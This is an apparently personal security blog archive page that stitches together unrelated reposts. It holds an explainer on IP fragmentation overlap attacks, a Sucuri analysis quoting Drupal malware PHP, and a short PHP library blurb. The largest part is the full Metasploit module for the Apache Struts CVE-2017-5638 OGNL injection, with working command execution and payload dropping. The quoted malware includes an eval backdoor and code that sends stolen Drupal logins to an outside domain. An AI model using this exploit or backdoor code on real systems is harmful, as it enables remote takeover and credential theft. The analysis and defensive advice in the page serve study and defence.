Monday, August 21, 2017
good morning worldwide! welcome back to war! so I stucked yesterday after the BACnet, thinking on air gapped SCADA protection. Today I'm starting with this first issue, DNP 3 stack that uses IP fragmentation
two layers of the OSI model are specially interesting when IP fragmentation is discussed – layer 3 (network) and layer 2 (data link). Data of the network layer is called a datagram and data of the data link layer is called a frame. From the data flow perspective – the datagram becomes included in the frame (encapsulation) and is sent to the receiver via the physical medium in the form of ones and zeros (physical layer – layer 1 of the OSI model).
It may occur that the data of the network layer might be too large to be sent over the data link layer in one piece. Then it needs to be fragmented. How much data can be sent in one frame? It is defined by the MTU (Maximum Transmission Unit) – for example MTU is 1500 bytes for the Ethernet, which is commonly used at the data link layer.
Let’s describe now how IP fragmentation actually works. We need some indication that the fragments belong to the specified datagram (please keep in mind that these fragments need to be reassembled later by the receiver). For this purpose the identification number is used – the same value is used for all fragments that are created as a result of the datagram’s fragmentation. These fragments need to be reassembled to the original datagram, but how should they be reassembled (order of fragments)? Offset is used for this purpose. How does the receiver know the number of fragments? Here the flag MF (More Fragments) is used. When MF flag is set, the system knows that the next fragment is expected. The last fragment is the one without MF flag.
To summarize: the sender chooses the size of datagram that is not greater than the MTU of attached network medium and then the process of IP fragmentation is delegated to the routers, which connect different network media with different MTUs.
There is also another approach to IP fragmentation – Path MTU Discovery. The idea is that the sender sends a probe datagram with DF (Don’t Fragment) flag set. If the router gets this probe datagram and sees that it is larger than the MTU of the attached network medium, then the problem occurs – the router has to fragment it, but the probe datagram is said not to be fragmented. Then the message about this problem is sent to the sender who interprets the answer and knows that the datagram needs to be smaller to avoid fragmentation on the way to the receiver. The sender wants to find out how large the datagram can be to avoid fragmentation by the routers. That’s why this process is called Path MTU Discovery and fragmentation in this approach is delegated to the sender. The problem with this approach is that the probe datagram might have been sent via different route than the next datagrams. As a consequence, it may turn out that the smallest MTU discovered by the sender is actually not the smallest one for the next datagrams, and the fragmentation done by routers will still be needed.
What happens when the fragment is lost? The retransmission occurs when TCP is used at the layer 4 of the OSI model (transport layer).
3. IP Fragmentation Overlapping
Let’s assume that the packet filter allows only the connections to port 80, but the attacker wants to connect to port 23. Although the packet filter is configured to block the connections to port 23, the attacker might try to use IP fragmentation overlapping to bypass the packet filter and finally connect to this port.
This attack works as follows. The packet filter might be implemented in the way that the first fragment is checked according to the implemented rules – when the connection to port 80 is seen, the packet filter accepts this fragment and forwards it to the receiver. Moreover, the packet filter may assume that the next fragments just include the data, and this is not interesting from its point of view. As a consequence, the packet filter forwards the next fragments to the receiver.
Recall at this point that the reassembling occurs when the fragments arrive to the receiver. The next fragment (as it has been said – forwarded by the packer filter) might have been specially prepared by the attacker – the carefully chosen offset has been used to overwrite the value of the destination port from the first fragment. The receiver waits for all fragments, reassembles them, and finally the connection to port of the attacker’s choice is established.
The assumption here is that the packet filter looks at the first fragment that has all the necessary information to make a decision about forwarding or denying the fragment – the other fragments are assumed not to have interesting data (from packet filter’s point of view) and are just forwarded.
How could we solve this problem? If the packet filter reassembled the fragments before making a decision (forward or deny), then the attacker would be stopped. As we can see this approach is about understanding the state or context of the traffic and is called stateful inspection (in contrast to the previously described packet filter that is stateless).
1. Introduction The process of IP fragmentation occurs when the data of the network layer is too large to be transmitted over the data link layer in one pi
RESOURCES.INFOSECINSTITUTE.COM
Sunday, August 20, 2017
Get info from any web service or page http://oscarotero.com/embed3/demo
Out-of-Site Drupal Malware
2016-07-13 by Cesar Anjos
We recently wrote about a Drupal black-hat SEO hack that among other things redirected users coming from Google to botscache[.]com site. It hijacked the bootstrapping process via the session_inc variable in database, then made Drupal load a malicious file from the global /tmp directory instead of the standard includes/session.inc file.
This malware evolves and we have found its new variation. Again, the only malicious code that could be found within the site structure was just a file name. This time it was in the system table and it was the name of the file to load a Drupal module from. However, the file had a .jpg extension and it was loaded from a directory that belonged to a different website under the same server account ../otherwebsite/sites/default/files/slides/Search.jpg.
Taking a look at that Search.jpg file we can see the following code:
if(isset($_POST["gbdc"])){@preg_replace('/^/e','e'.'val($_POST["gbdc"])', 'add');exit;} function drupal_get_urlsc_callback_url($url) { ... return $file_contents; } if(isset($_POST['op'])&&$_POST['op']=='Log in'){ ... if(user_authenticate(@$_POST['name'],@$_POST['pass'])){ $args_result_url=base64_decode("aHR0cDovLzB4MHguY28vcC5waHA/dT0=").base64_encode(@$_POST['name']); $args_result_url.="&p=".base64_encode(@$_POST['pass'])."&url="....; drupal_get_urlsc_callback_url($args_result_url); } } if(empty($_COOKIE) && preg_match('/\.google\.|\.aol\.com|\.ask\.com/i',@$_SERVER["HTTP_REFERER"])) { header("location:http://botscache[.]com/n.php?".$_SERVER["HTTP_HOST"]....); exit; } if(empty($_COOKIE) && $_SERVER["REQUEST_URI"]=='/google4a4791b250e72fd1.html'){ echo 'google-site-verification: google4a4791b250e72fd1.html'; exit; }
The functionality is pretty much the same: backdoor to execute arbitrary code, botscache[.]com redirection of the search engine traffic (Air Jordan replica spam) and malicious Google Search Console verification. However, this variation also add the functionality to steal Drupal credentials. When someone submits a login form, the malicious module verifies that the credentials are valid and sends them to their own site 0x0x[.]co (the domain name is base64-encoded).
This Drupal malware demonstrates that infection is not always limited to the site itself. You may not find anything suspicious if you scan only the site directory. The actual malware may be anywhere on the server: in publicly writable directories like /tmp and /var/tmp, inside neighbor sites that share the same server account, etc. If one of your sites is hacked, don’t limit the cleanup to this site only. You should always scan all the sites you have on the same server - all the sites may be infectedand some of them may have backdoors and malicious files lurking, leading to recurring infections.
This infection also reminds us about the importance of changing passwords after every site hack. It’s always a good idea to restrict access to CMS admin area. Two factor authentication and/or IP whitelist will stop hackers even if they managed to steal your credentials. You can do it on your own server or place your site behind a website firewall and have it block unwanted logins.
http://labs.sucuri.net/?note=2016-07-13
PHP library to get information from any web page (using oembed, opengraph, twitter-cards, scrapping the html, etc). It's compatible with any web service (youtube, vimeo, flickr, instagram, etc) and has adapters to some sites like (archive.org, github, facebook, etc).
Requirements:
- PHP 5.5+
- Curl library installed
- If you need PHP 5.3 support, use the 1.x version
- If you need PHP 5.4 support, use the 2.x version
- https://github.com/oscarotero/Embed
SCADA SHODAN STUXNET
Saturday, August 19, 2017
This module exploits a remote code execution vunlerability in Apache Struts version 2.3.5 - 2.3.31, and 2.5 - 2.5.10. Remote Code Execution can be performed via http Content-Type header. Native payloads will be converted to executables and dropped in the server’s temp dir. If this fails, try a cmd/* payload, which won’t have to write to the disk.
Module Name
MSF:EXPLOIT/MULTI/HTTP/STRUTS2_CONTENT_TYPE_OGNL##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts Jakarta Multipart Parser OGNL Injection',
'Description' => %q{
This module exploits a remote code execution vunlerability in Apache Struts
version 2.3.5 - 2.3.31, and 2.5 - 2.5.10. Remote Code Execution can be performed
via http Content-Type header.
Native payloads will be converted to executables and dropped in the
server's temp dir. If this fails, try a cmd/* payload, which won't
have to write to the disk.
},
'Author' => [
'Nike.Zheng', # PoC
'Nixawk', # Metasploit module
'Chorder', # Metasploit module
'egypt', # combining the above
'Jeffrey Martin', # Java fu
],
'References' => [
['CVE', '2017-5638'],
['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-045']
],
'Privileged' => true,
'Targets' => [
[
'Universal', {
'Platform' => %w{ unix windows linux },
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
},
],
],
'DisclosureDate' => 'Mar 07 2017',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-showcase/' ]),
]
)
register_advanced_options(
[
OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ])
]
)
@data_header = "X-#{rand_text_alpha(4)}"
end
def check
var_a = rand_text_alpha_lower(4)
ognl = ""
ognl << %q|(#os=@java.lang.System@getProperty('os.name')).|
ognl << %q|(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('|+var_a+%q|', #os))|
begin
resp = send_struts_request(ognl)
rescue Msf::Exploit::Failed
return Exploit::CheckCode::Unknown
end
if resp && resp.code == 200 && resp.headers[var_a]
vprint_good("Victim operating system: #{resp.headers[var_a]}")
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end
def exploit
case payload.arch.first
#when ARCH_JAVA
# datastore['LHOST'] = nil
# resp = send_payload(payload.encoded_jar)
when ARCH_CMD
resp = execute_command(payload.encoded)
else
resp = send_payload(generate_payload_exe)
end
end
def send_struts_request(ognl, extra_header: '')
uri = normalize_uri(datastore["TARGETURI"])
content_type = "%{(#_='multipart/form-data')."
content_type << "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
content_type << "(#_memberAccess?"
content_type << "(#_memberAccess=#dm):"
content_type << "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
content_type << "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
content_type << "(#ognlUtil.getExcludedPackageNames().clear())."
content_type << "(#ognlUtil.getExcludedClasses().clear())."
content_type << "(#context.setMemberAccess(#dm))))."
content_type << ognl
content_type << "}"
headers = { 'Content-Type' => content_type }
if extra_header
headers[@data_header] = extra_header
end
#puts content_type.gsub(").", ").\n")
#puts
resp = send_request_cgi(
'uri' => uri,
'method' => datastore['HTTPMethod'],
'headers' => headers
)
if resp && resp.code == 404
fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')
end
resp
end
def execute_command(cmd)
ognl = ''
ognl << %Q|(#cmd=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{@data_header}')).|
# You can add headers to the server's response for debugging with this:
#ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).|
#ognl << %q|(#r.addHeader('decoded',#cmd)).|
ognl << %q|(#os=@java.lang.System@getProperty('os.name')).|
ognl << %q|(#cmds=(#os.toLowerCase().contains('win')?{'cmd.exe','/c',#cmd}:{'/bin/sh','-c',#cmd})).|
ognl << %q|(#p=new java.lang.ProcessBuilder(#cmds)).|
ognl << %q|(#p.redirectErrorStream(true)).|
ognl << %q|(#process=#p.start())|
send_struts_request(ognl, extra_header: cmd)
end
def send_payload(exe)
ognl = ""
ognl << %Q|(#data=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{@data_header}')).|
ognl << %Q|(#f=@java.io.File@createTempFile('#{rand_text_alpha(4)}','.exe')).|
#ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).|
#ognl << %q|(#r.addHeader('file',#f.getAbsolutePath())).|
ognl << %q|(#f.setExecutable(true)).|
ognl << %q|(#f.deleteOnExit()).|
ognl << %q|(#fos=new java.io.FileOutputStream(#f)).|
# Using stuff from the sun.* package here means it likely won't work on
# non-Oracle JVMs, but the b64 decoder in Apache Commons doesn't seem to
# work and I don't see a better way of getting binary data onto the
# system. =/
ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#data)).|
ognl << %q|(#fos.write(#d)).|
ognl << %q|(#fos.close()).|
ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).|
ognl << %q|(#p.start()).|
ognl << %q|(#f.delete())|
send_struts_request(ognl, extra_header: [exe].pack("m").delete("\n"))
end
end
=begin
Doesn't work:
ognl << %q|(#cl=new java.net.URLClassLoader(new java.net.URL[]{#f.toURI().toURL()})).|
ognl << %q|(#c=#cl.loadClass('metasploit.Payload')).|
ognl << %q|(#m=@ognl.OgnlRuntime@getMethods(#c,'main',true).get(0)).|
ognl << %q|(#r.addHeader('meth',#m.toGenericString())).|
ognl << %q|(#m.invoke(null,null)).|
#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('java.lang.Object'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('java.lang.String'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('[Ljava.lang.Object;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('[Ljava.lang.String;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{})).|
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.Object')})).|
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).|
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{null})).|
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('java.lang.Object')})).|
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4fee2899
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[])).| # parse failed
#ognl << %q|(#m=#c.getMethod('run',null)).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@50af0cd6
#ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('java.lang.Object'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
#ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('java.lang.String'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
#ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('[Ljava.lang.Object;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
#ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('[Ljava.lang.String;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@2231d3a9
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{})).|
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('java.lang.Object')})).|
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).|
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{null})).|
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('java.lang.Object')})).|
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@5f78809f
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@56c6add5
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[])).| # parse failed
#ognl << %q|(#m=#c.getMethod('main',null)).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@1722884
=end
Subscribe to:
Posts (Atom)